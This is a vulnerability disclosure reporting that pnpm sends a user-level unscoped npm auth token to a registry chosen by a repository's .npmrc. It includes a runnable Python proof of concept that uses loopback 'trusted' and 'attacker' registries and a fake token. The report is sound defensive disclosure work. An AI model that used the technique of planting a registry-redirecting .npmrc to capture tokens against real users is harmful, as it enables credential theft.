pnpm binds unscoped user-level npm auth credentials to a repository-selected registry

Boundary:

Credentials from a higher-trust user configuration should not be rebound to a lower-trust repository-selected registry unless the credential is explicitly scoped to that registry.

Minimal Reproduction

The reproducer below starts two loopback HTTP registries:

• a trusted registry URL used in the isolated user .npmrc;
• an attacker registry URL used in the repository-local .npmrc.

The isolated user .npmrc contains:

registry=<trusted-loopback-registry>
_authToken=PR166_FAKE_REGISTRY_TOKEN

The repository-local .npmrc contains:

registry=<attacker-loopback-registry>

The repository package.json depends on a toy package served by the loopback registry. The script then runs:

pnpm install --ignore-scripts
npm install --ignore-scripts

Expected Safe Behavior

pnpm should not send the user-level unscoped _authToken to the repository-selected registry. A safe behavior would be to reject or ignore the unscoped credential in this lower-trust registry-rebinding situation and require the credential to be URL-scoped to the selected registry.

Observed Behavior

pnpm 10.33.2, pnpm 11.1.3, and pnpm 11.2.1 send:

Authorization: Bearer PR166_FAKE_REGISTRY_TOKEN

to the attacker loopback registry during install. npm 10.9.7 rejects the same config and sends no Authorization header.

Security Impact

This can disclose npm registry credentials from user-level configuration to a registry endpoint selected by an untrusted repository. The leak occurs before package lifecycle scripts run and does not depend on package code execution.

Non-Claims

This report does not claim:

• remote code execution;
• registry account compromise by itself;
• leakage of URL-scoped tokens for a different registry;
• npm CLI impact;
• impact from a repository explicitly committing its own token-bearing auth line.

Source-Level Notes

In pnpm's config/auth-header flow, unscoped/default credentials are parsed from the merged auth config and stored as default credentials. The auth-header logic then maps those default credentials to the effective default registry. Because repository-local .npmrc can change the effective default registry, higher-trust default credentials can be applied to a lower-trust registry choice.

Suggested Fix Direction

The conservative fix direction is to reject or contain unscoped/default auth credentials when a lower-trust workspace/repository config changes the default registry. A compatibility-preserving fix could track the source layer of both the default registry and the default credentials, then only bind default credentials to a registry selected by the same or higher-trust source. A stricter npm-compatible fix would reject unscoped auth and require URL-scoped credentials.

This needs maintainer semantic review and compatibility control because some legacy workflows may intentionally rely on default/unscoped auth.

Runnable Reproducer

Save the following as repro.py and run it with Python 3 in an environment with pnpm and npm available. To force a specific pnpm version through Corepack, set PR166_PNPM_SPEC, for example PR166_PNPM_SPEC=11.2.1.

import base64
import contextlib
import hashlib
import http.server
import io
import json
import os
import shutil
import subprocess
import sys
import tarfile
import tempfile
import threading
from pathlib import Path


"""Standalone loopback reproducer.

It creates only temporary directories and loopback HTTP servers. Cleanup is handled by TemporaryDirectory context managers and registry shutdown handlers; no persistent state is expected outside the package-manager cache directories inside the temporary home. Non-claims: this does not use real credentials, third-party registries, package scripts, or remote services. Failure paths return exit 1 or exit 2 through sys.exit(main()).
"""

TOKEN = "PR166_FAKE_REGISTRY_TOKEN"
PACKAGE_TGZ = None


class RegistryHandler(http.server.BaseHTTPRequestHandler):
    requests = []

    def do_GET(self):
        self.requests.append(
            {
                "method": self.command,
                "path": self.path,
                "authorization": self.headers.get("Authorization"),
            }
        )
        if self.path.endswith(".tgz"):
            payload = make_package_tgz()
            self.send_response(200)
            self.send_header("Content-Type", "application/octet-stream")
            self.send_header("Content-Length", str(len(payload)))
            self.end_headers()
            self.wfile.write(payload)
            return

        payload = make_package_tgz()
        body = json.dumps(
            {
                "name": "@private/probe",
                "dist-tags": {"latest": "1.0.0"},
                "versions": {
                    "1.0.0": {
                        "name": "@private/probe",
                        "version": "1.0.0",
                        "dist": {
                            "tarball": f"http://127.0.0.1:{self.server.server_port}/private/@private/probe/-/probe-1.0.0.tgz",
                            "shasum": hashlib.sha1(payload).hexdigest(),
                            "integrity": "sha512-"
                            + base64.b64encode(hashlib.sha512(payload).digest()).decode("ascii"),
                        },
                    }
                },
            }
        ).encode("utf-8")
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *args):
        return


@contextlib.contextmanager
def registry():
    handler = type("RecordingRegistryHandler", (RegistryHandler,), {"requests": []})
    server = http.server.ThreadingHTTPServer(("127.0.0.1", 0), handler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    try:
        yield server, handler.requests
    finally:
        server.shutdown()
        thread.join(timeout=5)
        server.server_close()


def make_package_tgz():
    global PACKAGE_TGZ
    if PACKAGE_TGZ is not None:
        return PACKAGE_TGZ
    bio = io.BytesIO()
    with tarfile.open(fileobj=bio, mode="w:gz") as tf:
        data = b'{"name":"@private/probe","version":"1.0.0"}\n'
        info = tarfile.TarInfo("package/package.json")
        info.size = len(data)
        tf.addfile(info, io.BytesIO(data))
    PACKAGE_TGZ = bio.getvalue()
    return PACKAGE_TGZ


def write_text(path, text):
    path.parent.mkdir(parents=True, exist_ok=True)
    path.write_text(text, encoding="utf-8", newline="\n")


def run_install(tool, trusted_url, attacker_url):
    exe = shutil.which(tool)
    if exe is None:
        return {"tool": tool, "error": "missing"}
    cmd = [exe, "install", "--ignore-scripts"]
    if tool == "pnpm" and os.environ.get("PR166_PNPM_SPEC"):
        corepack = shutil.which("corepack")
        if corepack is None:
            return {"tool": tool, "error": "corepack missing"}
        cmd = [corepack, f"pnpm@{os.environ['PR166_PNPM_SPEC']}", "install", "--ignore-scripts"]

    with tempfile.TemporaryDirectory(prefix=f"pr166-min-{tool}-") as td:
        root = Path(td)
        home = root / "home"
        project = root / "project"
        home.mkdir()
        project.mkdir()
        userconfig = home / ".npmrc"

        write_text(userconfig, f"registry={trusted_url}\n_authToken={TOKEN}\n")
        write_text(project / ".npmrc", f"registry={attacker_url}\n")
        write_text(
            project / "package.json",
            '{"name":"pr166-probe","version":"1.0.0","dependencies":{"@private/probe":"1.0.0"}}\n',
        )

        env = os.environ.copy()
        env.update(
            {
                "HOME": str(home),
                "USERPROFILE": str(home),
                "NPM_CONFIG_USERCONFIG": str(userconfig),
                "npm_config_userconfig": str(userconfig),
                "NPM_CONFIG_CACHE": str(home / "cache"),
                "npm_config_cache": str(home / "cache"),
                "NPM_CONFIG_STORE_DIR": str(home / "store"),
                "npm_config_store_dir": str(home / "store"),
                "XDG_CACHE_HOME": str(home / "xdg-cache"),
                "XDG_DATA_HOME": str(home / "xdg-data"),
                "NO_COLOR": "1",
            }
        )

        proc = subprocess.run(
            cmd,
            cwd=str(project),
            env=env,
            text=True,
            encoding="utf-8",
            errors="replace",
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            timeout=60,
        )
        return {"tool": tool, "returncode": proc.returncode, "output_tail": proc.stdout[-2000:]}


def summarize(tool, result, attacker_requests):
    auth_hits = [r for r in attacker_requests if r.get("authorization")]
    return {
        "tool": tool,
        "result": result,
        "attacker_auth_hits": auth_hits,
        "attacker_request_count": len(attacker_requests),
    }


def tool_version(tool):
    exe = shutil.which(tool)
    if exe is None:
        return "missing"
    cmd = [exe, "--version"]
    if tool == "pnpm" and os.environ.get("PR166_PNPM_SPEC"):
        corepack = shutil.which("corepack")
        if corepack is None:
            return "corepack missing"
        cmd = [corepack, f"pnpm@{os.environ['PR166_PNPM_SPEC']}", "--version"]
    proc = subprocess.run(
        cmd,
        text=True,
        encoding="utf-8",
        errors="replace",
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        timeout=20,
    )
    return proc.stdout.strip() or f"exit-{proc.returncode}"


def main():
    pnpm_version = tool_version("pnpm")
    npm_version = tool_version("npm")
    print(f"TARGET_VERSION=pnpm {pnpm_version}; npm {npm_version}")
    if pnpm_version == "missing" or npm_version == "missing":
        print("CHECK environment_has_pnpm_and_npm result=fail")
        return 1

    print("ENVIRONMENT_READY")
    overall = []
    with registry() as (trusted, _trusted_requests), registry() as (attacker, attacker_requests):
        trusted_url = f"http://127.0.0.1:{trusted.server_port}/private/"
        attacker_url = f"http://127.0.0.1:{attacker.server_port}/private/"

        before = len(attacker_requests)
        pnpm_result = run_install("pnpm", trusted_url, attacker_url)
        pnpm_summary = summarize("pnpm", pnpm_result, attacker_requests[before:])
        overall.append(pnpm_summary)

        before = len(attacker_requests)
        npm_result = run_install("npm", trusted_url, attacker_url)
        npm_summary = summarize("npm", npm_result, attacker_requests[before:])
        overall.append(npm_summary)

    print(json.dumps(overall, indent=2))

    pnpm_leaked = bool(overall[0]["attacker_auth_hits"])
    npm_leaked = bool(overall[1]["attacker_auth_hits"])
    print(f"OBSERVED_PNPM_AUTH_HITS={len(overall[0]['attacker_auth_hits'])}")
    print(f"OBSERVED_NPM_AUTH_HITS={len(overall[1]['attacker_auth_hits'])}")
    print(
        "COMMAND_EXIT_CODE="
        f"pnpm:{overall[0]['result'].get('returncode', 'missing')} "
        f"npm:{overall[1]['result'].get('returncode', 'missing')}"
    )
    if pnpm_leaked and not npm_leaked:
        print("CHECK pnpm_leaked=true npm_control_held=true result=pass")
        print("VULNERABLE_BEHAVIOR_CONFIRMED")
        print("RESULT_PNPM_REBINDS_UNSCOPED_USER_TOKEN_NPM_CONTROL_HELD")
        print("RESULT_SECURITY_BOUNDARY_BYPASS_CONFIRMED")
        return 0
    if pnpm_leaked and npm_leaked:
        print("CHECK pnpm_leaked=true npm_control_held=false result=fail")
        print("RESULT_BOTH_TOOLS_SENT_AUTH")
        return 2
    print("CHECK pnpm_leaked=false result=fail")
    print("RESULT_NO_PNPM_AUTH_LEAK")
    return 1


if __name__ == "__main__":
    sys.exit(main())

Abbreviated Expected Output

TARGET_VERSION=pnpm 11.2.1; npm 10.9.7
ENVIRONMENT_READY
...
OBSERVED_PNPM_AUTH_HITS=3
OBSERVED_NPM_AUTH_HITS=0
COMMAND_EXIT_CODE=pnpm:0 npm:1
CHECK pnpm_leaked=true npm_control_held=true result=pass
VULNERABLE_BEHAVIOR_CONFIRMED
RESULT_PNPM_REBINDS_UNSCOPED_USER_TOKEN_NPM_CONTROL_HELD
RESULT_SECURITY_BOUNDARY_BYPASS_CONFIRMED

Reporter: JUNYI LIU